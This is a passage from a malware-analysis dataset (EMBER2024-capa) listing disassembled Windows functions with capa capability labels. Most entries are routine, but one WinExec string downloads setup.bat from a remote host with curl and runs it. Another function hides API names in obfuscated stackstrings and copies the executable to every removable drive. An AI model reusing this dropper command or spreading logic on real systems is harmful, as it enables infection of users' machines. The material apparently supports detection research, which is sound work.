joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f980
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x14000dd4e
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x14000f980
cmp byte [0x14003de30], 0
jne 0x14000dd99
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000dd89
lea rdx, [0x140028b20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x14003de30], 1
mov qword [0x14003de28], rax
jmp 0x14000dda0
mov rax, qword [0x14003de28]
mov byte [0x14003de30], 1
jmp 0x14000dda0
mov rax, qword [0x14003de28]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000ddbf
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000f9f4
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14000fa0f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x14000fa0f
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x14000fa0f
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
sti
invalid
Function at 0x14000fd70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x1400391b0]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov rsi, r8
mov rbx, rdx
xor r14d, r14d
mov qword [rsp + 0x50], r14
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x58], r14
xor edx, edx
mov r8d, 0x408
lea rcx, [rsp + 0x70]
call fcn.140017620
mov qword [rsp + 0x70], r14
xor edx, edx
lea r8d, [r14 + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14000fe1c
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x14000fe1c
call fcn.14000c730
mov ebx, eax
jmp 0x14000ff44
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14000fe3d
call fcn.14000c730
jmp 0x14000ff33
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14000fe60
call fcn.14000c730
jmp 0x14000ff33
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x14000fe82
mov ebx, 0x8007000e
jmp 0x14000ff35
mov ecx, eax
test eax, eax
je 0x14000feba
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x14000feb0
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x14000feba
lea rcx, [rsp + 0x70]
call fcn.14000c5a0
jmp 0x14000fec4
mov ecx, 0x80070216
call fcn.140002950
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x14000fed7
cmp qword [rsp + 0x70], 0
jne 0x14000fee6
mov ebx, 0x8007000e
jmp 0x14000ff35
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rsi
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14000ff10
call fcn.14000c730
jmp 0x14000ff33
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], r14w
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x58]
call fcn.14000fa90
mov ebx, eax
test rdi, rdi
je 0x14000ff44
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x14000ff5b
lea rcx, [rsp + 0x70]
call fcn.14000de10
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.1400175f0
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400108a0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400391b0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rcx, qword [rcx]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], r8d
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400175f0
add rsp, 0x48
ret

Function at 0x1400108f0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov r9, r8
mov r10, rdx
test r8, r8
jne 0x140010908
lea eax, [r8 + 0xd]
add rsp, 0x38
ret
xor r8d, r8d
mov rdx, r9
nop
or rax, 0xffffffffffffffff
inc rax
cmp word [rdx + rax*2], 0
jne 0x140010914
inc eax
lea rdx, [rdx + rax*2]
lea r8d, [r8 + rax*2]
cmp eax, 1
jne 0x140010910
mov rcx, qword [rcx]
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], r9
lea r9d, [rax + 6]
xor r8d, r8d
mov rdx, r10
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x38
ret

Function at 0x140010a10
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400391b0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x50], rax
test rax, rax
jne 0x140010a54
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400175f0
add rsp, 0x40
pop rbx
ret
lea rax, [rsp + 0x30]
lea r8, [0x14000e900]
mov r9, rbx
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140010a95
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x50], rdi
mov rax, rdi
mov rdi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400175f0
add rsp, 0x40
pop rbx
ret

Function at 0x140011250
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
cmp byte [0x14003dd89], 0
mov esi, edx
mov rbx, rcx
je 0x140011276
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
xor ecx, ecx
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ole32.dll_CoInitialize]
mov edi, eax
mov dword [rsp + 0x40], eax
test eax, eax
jns 0x1400112bc
cmp eax, 0x80010106
jne 0x14001131c
lea rcx, str.Mscoree.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1400112c0
mov eax, edi
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
mov byte [rbx + 0x62], 1
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea r8, [rsp + 0x40]
mov rcx, rbx
mov rdx, rax
call fcn.14000ec10
cmp al, 1
jne 0x14001130c
mov edx, esi
mov rcx, rbx
call fcn.14000f170
mov edi, eax
test eax, eax
jne 0x1400112fe
mov rcx, rbx
call fcn.140010830
mov rcx, rbx
call fcn.14000efe0
mov edi, eax
jmp 0x140011310
js 0x140011310
mov rcx, rbx
call fcn.14000efe0
mov edi, eax
jmp 0x140011310
mov edi, dword [rsp + 0x40]
cmp byte [rbx + 0x62], 0
je 0x14001131c
call qword [sym.imp.ole32.dll_CoUninitialize]
mov rbx, qword [rsp + 0x38]
mov eax, edi
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rsi
ret
Function at 0x140011470
Capabilities:
Check mutex on windows
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x1400391b0]
xor rax, rsp
mov qword [rbp + 0x160], rax
movups xmm0, xmmword [str.IGFXTRAYMUTEX]
mov eax, dword [0x140029148]
movsd xmm1, qword [0x140029140]
lea rcx, [rsp + 0x6c]
xor edx, edx
mov r8d, 0x1ec
mov r15d, r9d
mov ebx, 1
xor edi, edi
movaps xmmword [rsp + 0x50], xmm0
movsd qword [rsp + 0x60], xmm1
mov dword [rsp + 0x68], eax
call fcn.140017620
lea r8, [rsp + 0x50]
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, ebx
cmp eax, 0xb7
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareIntelDisplayigfxcuiigfxtrayTrayIcon
cmove r14d, edi
mov r9d, 0xf003f
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x44], 4
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x38]
lea rdx, str.SoftwareIntelDisplayigfxcuiigfxtrayTrayIcon
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400115b1
lea rax, [rsp + 0x48]
lea r9, [rsp + 0x44]
lea rdx, str.ShowTrayIcon
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400115b1
mov ebx, dword [rsp + 0x40]
jmp 0x1400115f2
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400115ee
lea rax, [rsp + 0x48]
lea r9, [rsp + 0x44]
lea rdx, str.ShowTrayIcon
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400115ee
mov ebx, dword [rsp + 0x40]
jmp 0x1400115f2
mov dword [rsp + 0x40], ebx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r14d, r14d
je 0x14001162d
xor ecx, ecx
call fcn.14000e5a0
test al, al
je 0x14001162d
test ebx, ebx
je 0x14001162d
lea rcx, [0x14003dea0]
mov edx, r15d
call fcn.140011250
mov edi, eax
test rsi, rsi
je 0x14001163b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.1400175f0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, str.cd__d__systemdrive___cd__temp___curl__s__o__temp__setup.bat_http:__serodropper.x10.mx_setup.bat___temp__setup.bat__exit
call qword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000190c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001956
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001956
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001956
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001956
cmp dword [rcx + 0x84], 0xe
jbe 0x140001956
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001958
xor al, al
add rsp, 0x28
ret
Function at 0x140005850
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x140005a0c
cmp byte [rcx + 0x72], 0
je 0x140005a0c
mov ebx, 0xffff
mov edx, ebx
call fcn.140005350
cmp bx, ax
jne 0x1400058ad
xor al, al
jmp 0x140005a0e
mov edx, 0xf
mov qword [rbp - 0x18], rdx
mov byte [rbp - 0x30], 0
xor ecx, ecx
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], 8
lea rax, [rbp - 0x30]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
nop
lea rdx, [rbp - 0x30]
cmp r9, 0x10
cmovae rdx, rcx
lea r8, [rbp - 0x30]
cmovae r8, rcx
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
mov rcx, qword [rdi + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000591d
sub eax, 1
jne 0x140005992
jmp 0x140005921
mov byte [rdi + 0x72], 0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
cmp r9, 0x10
cmovae rax, rcx
mov rbx, qword [rbp - 0x38]
sub rbx, rax
je 0x14000596f
lea rax, [rbp - 0x30]
cmp r9, 0x10
cmovae rax, rcx
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
cmp rbx, rax
jne 0x14000599f
cmp byte [rdi + 0x72], 0
je 0x1400059a3
test rbx, rbx
jne 0x1400058e0
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call fcn.140005da0
jmp 0x1400058d7
sub eax, 2
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
je 0x1400059a3
xor bl, bl
jmp 0x1400059a5
mov bl, 1
cmp r9, 0x10
jb 0x140005a07
inc r9
cmp r9, 0xffffffffffffffff
jbe 0x1400059bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp r9, 0x1000
jb 0x140005a01
test byte [rbp - 0x30], 0x1f
je 0x1400059d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400059e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400059f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x1400059fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonUndo::XElementButtonUndo]
movzx eax, bl
jmp 0x140005a0e
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000f1e0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000c370
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x690
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rsp + Ordinal_1667], rax
mov rdi, rcx
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rdx + rbx*2], 0
jne 0x14000c396
mov r8, rdx
lea rcx, [rsp + 0x50]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
xor ecx, ecx
movsxd rax, ebx
mov qword [rsp + 0x40], rcx
lea r9, [rsp + 0x260]
mov qword [rsp + 0x38], rcx
xor r8d, r8d
mov qword [rsp + 0x30], operator
xor edx, edx
mov word [rsp + rax*2 + 0x4e], cx
lea rax, [rsp + 0x470]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], operator
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wsplitpath_s]
cmp word [rsp + 0x260], 0
je 0x14000c419
lea rdx, [rsp + 0x260]
mov rcx, rdi
call fcn.14000c370
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmkdir]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.14000f1e0
mov rbx, qword [rsp + 0x6b0]
add rsp, 0x690
pop rdi
ret
Function at 0x14000f6c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000f751
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x14000f751
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f751
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14000f735
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000f72f
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000f737
add rdx, 0x28
jmp 0x14000f714
xor edx, edx
test rdx, rdx
jne 0x14000f740
xor al, al
jmp 0x14000f757
test dword [rdx + 0x24], 0x80000000
je 0x14000f74d
xor al, al
jmp 0x14000f757
mov al, 1
jmp 0x14000f757
xor al, al
jmp 0x14000f757
add rsp, 0x18
ret

Function at 0x1400102a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub rsp, 0x48
mov rax, qword [rsp + 0x78]
mov r8, rdx
mov qword [rsp + 0x30], rax
xor edx, edx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r9
mov r9d, 0xffff
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
add rsp, 0x48
ret
Function at 0x1400019c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a0e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a0e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a0e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a0e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a0e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a10
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp], rax
xor ebx, ebx
mov dword [rbp - 0x48], 0x4b005c
lea rdx, [rbp - 0x48]
mov word [rbp - 0x20], bx
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x44], 0x6f006e
mov dword [rbp - 0x40], 0x6e0077
mov dword [rbp - 0x3c], 0x6c0044
mov dword [rbp - 0x38], 0x73006c
mov dword [rbp - 0x34], 0x6e005c
mov dword [rbp - 0x30], 0x640074
mov dword [rbp - 0x2c], 0x6c006c
mov dword [rbp - 0x28], 0x64002e
mov dword [rbp - 0x24], 0x6c006c
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp - 0x68]
mov dword [rsp + 0x60], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rbx
lea edx, [rbx + 0xc]
mov dword [rsp + 0x78], 0x40
lea rcx, [rsp + 0x58]
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_NtOpenSection]
test eax, eax
js 0x1400011ba
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x50], rbx
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x58], 0x6c64746e
mov dword [rbp - 0x54], 0x6c642e6c
mov word [rbp - 0x50], 0x6c
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movdqa xmm0, xmmword [0x1400033c0]
lea rdx, [rbp - 0x18]
mov rcx, rax
mov word [rbp - 8], 0x6e6f
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 6], bl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x48], 2
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x40], ebx
lea r8, [rsp + 0x50]
mov dword [rsp + 0x38], 1
lea rdx, [rbx - 1]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call rax
test eax, eax
js 0x1400011ba
mov rax, qword [rsp + 0x50]
jmp 0x1400011bc
xor eax, eax
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140001d00
mov rbx, qword [rsp + 0x120]
add rsp, 0x110
pop rbp
ret
Function at 0x1400011e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x6e72656b
mov dword [rsp + 0x64], 0x32336c65
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14000130a
movdqa xmm0, xmmword [0x1400033e0]
lea rdx, [rbp - 0x60]
mov rcx, rax
mov word [rbp - 0x50], _initterm_e
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x4e], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000130a
mov r8d, 0x104
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call rax
test eax, eax
je 0x14000130a
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x410], rbx
mov dword [rsp + 0x50], 0x776c6873
mov dword [rsp + 0x54], 0x2e697061
mov dword [rsp + 0x58], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001302
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x418], r14
mov rcx, rax
mov dword [rbp - 0x70], 0x68746150
mov dword [rbp - 0x6c], 0x69727453
mov dword [rbp - 0x68], 0x74615070
mov word [rbp - 0x64], 0x4168
mov byte [rbp - 0x62], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001330
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r14, qword [rsp + 0x418]
mov rbx, qword [rsp + 0x410]
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.140001d00
lea r11, [rsp + 0x400]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov bl, 0x41
movzx r9d, bl
lea r8, [rsp + 0x34]
mov edx, 4
mov dword [rsp + 0x34], 0x5c3a6325
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x38], 0
call fcn.140001010
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x6e72656b
mov dword [rsp + 0x74], 0x32336c65
mov dword [rsp + 0x78], 0x6c6c642e
mov byte [rsp + 0x7c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x14000144e
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x44746547
mov rcx, rax
mov dword [rbp - 0x7c], 0x65766972
mov dword [rbp - 0x78], 0x65707954
mov word [rbp - 0x74], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000144e
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x79706f43
mov rcx, rdi
mov dword [rsp + 0x44], 0x656c6946
mov word [rsp + 0x48], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x14000144e
lea rcx, [rsp + 0x30]
call rsi
cmp eax, 2
jne 0x14000144e
lea r8, [rbp + 0xd0]
mov edx, 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea rcx, [rbp - 0x40]
call r14
lea rax, [rbp - 0x40]
mov edx, 0x104
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp + 0x1e0]
call fcn.140001010
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xd0]
call rdi
inc bl
cmp bl, 0x5a
jle 0x140001332
jmp 0x140001330
Function at 0x1400025d4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000261e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000261e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000261e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000261e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000261e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002620
xor al, al
add rsp, 0x28
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400c5a10]
mov dword [rax], 1
mov rax, qword [0x1400c5a20]
mov dword [rax], 1
mov rax, qword [0x1400c5a30]
mov dword [rax], 1
mov rax, qword [0x1400c5a00]
mov dword [rax], 1
mov rax, qword [0x1400c58b0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
